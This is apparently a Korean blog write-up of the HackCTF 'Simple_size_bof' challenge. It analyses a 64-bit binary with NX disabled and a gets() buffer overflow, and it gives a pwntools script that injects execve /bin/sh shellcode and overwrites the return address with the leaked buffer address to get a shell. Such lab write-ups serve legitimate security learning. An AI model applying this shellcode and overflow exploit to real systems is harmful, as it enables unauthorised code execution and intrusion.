문제 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.
파일을 실행해보면 buf주소를 출력하고, 입력을 받고 실행을 끝낸다.
checksec로 보호기법을 확인하면 다음과 같다.
NX보호기법이 걸려있지 않은걸로 보아 쉘코드도 삽입이 가능할 것 같다.
info func 명령으로 함수 목록을 봤을 때 main함수 말고 별 다른 함수 목록이 안보여서 main 함수의 어셈을 보면 다음과 같다.
0x6d30(27952)만큼의 크기에 gets함수로 입력을 받고있다.
gets함수가 끝난 main+96에 bp를 걸고 값을 입력하면 파일을 실행할 때 출력하는 buf 주소와 입력한 값이 들어간 주소가 동일함을 확인할 수 있다.
따라서 입력값에 쉘코드를 넣고 (27952(buf크기) - 쉘코드 길이) + 8(RET까지 거리)만큼 입력값을 채우고 buf의 주소를 받아서 넣으면 문제를 RET에 쉘코드가 들어간 buf주소가 들어가 쉘을 딸 수 있을 것 같다. 이를 파이썬 익스코드를 작성하고 실행하면 다음과 같이 쉘을 딸 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
#p = process("./Simple_size_bof")
p = remote("ctf.j0n9hyun.xyz", 3005)
p.recvuntil("buf: ")
buf = p64(int(p.recv(14), 16))
#print(buf)
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
pay = shell + "A"*27930 + buf
#print(pay)
p.send(pay)
p.interactive()
|
cs |
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] Offset (0) | 2021.05.13 |
---|---|
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.05.10 |
[Hack CTF] x64 Buffer Overflow (0) | 2021.04.23 |
[LoS] skeleton (0) | 2020.11.10 |
[LoS] vampire (0) | 2020.11.10 |